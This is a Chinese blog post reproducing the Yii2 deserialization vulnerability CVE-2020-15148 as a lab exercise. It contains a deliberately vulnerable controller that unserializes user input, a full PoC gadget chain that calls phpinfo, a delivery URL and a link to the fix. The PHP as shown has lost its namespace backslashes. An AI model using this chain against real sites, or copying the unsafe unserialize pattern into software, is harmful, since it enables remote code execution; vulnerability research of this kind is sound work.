Yii2 反序列化漏洞(CVE-2020-15148)复现

admin 2021年4月24日02:37:16评论321 views字数 1288阅读4分17秒阅读模式

漏洞概述


Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。

 

环境搭建


github上下载yii22.0.37版本

https://github.com/yiisoft/yii2/releases/tag/2.0.37

Yii2 反序列化漏洞(CVE-2020-15148)复现

然后修改/config/web.php文件17行cookieValidationKey,可以随便定义

Yii2 反序列化漏洞(CVE-2020-15148)复现

进入目录并开启

php yii server

Yii2 反序列化漏洞(CVE-2020-15148)复现

Yii2 反序列化漏洞(CVE-2020-15148)复现


漏洞复现


这是一个反序列化利用链,所以还需要一个反序列化的入口点

controllers目录下创建一个Controller:

<?phpnamespace appcontrollers;use Yii;use yiiwebController;use yiifiltersVervFilter;use yiifiltersAccessControl;use appmodelsLoginForm;
class TestController extends yiiwebController{ public function actionSss($data){ return unserialize(base64_decode($data)); }}
?>

Yii2 反序列化漏洞(CVE-2020-15148)复现

接着创建文件poc.php

<?phpnamespace yiirest{    class CreateAction{        public $checkAccess;        public $id;
public function __construct(){ $this->checkAccess = 'phpinfo'; $this->id = '1'; } }}
namespace Faker{ use yiirestCreateAction;
class Generator{ protected $formatters;
public function __construct(){ $this->formatters['close'] = [new CreateAction(), 'run']; } }}
namespace yiidb{ use FakerGenerator;
class BatchQueryResult{ private $_dataReader;
public function __construct(){ $this->_dataReader = new Generator; } }}namespace{ echo base64_encode(serialize(new yiidbBatchQueryResult));}?>

Yii2 反序列化漏洞(CVE-2020-15148)复现

执行文件获取poc

php poc.php

Yii2 反序列化漏洞(CVE-2020-15148)复现

执行命令

http://localhost:8080/index.php?r=test/sss&data=[payload]

Yii2 反序列化漏洞(CVE-2020-15148)复现


修复建议

 

Github修复地址:

https://github.com/yiisoft/yii2/security/advisories/GHSA-699q-wcff-g9mj


本文始发于微信公众号(锋刃科技):Yii2 反序列化漏洞(CVE-2020-15148)复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月24日02:37:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Yii2 反序列化漏洞(CVE-2020-15148)复现https://cn-sec.com/archives/206105.html

发表评论

匿名网友 填写信息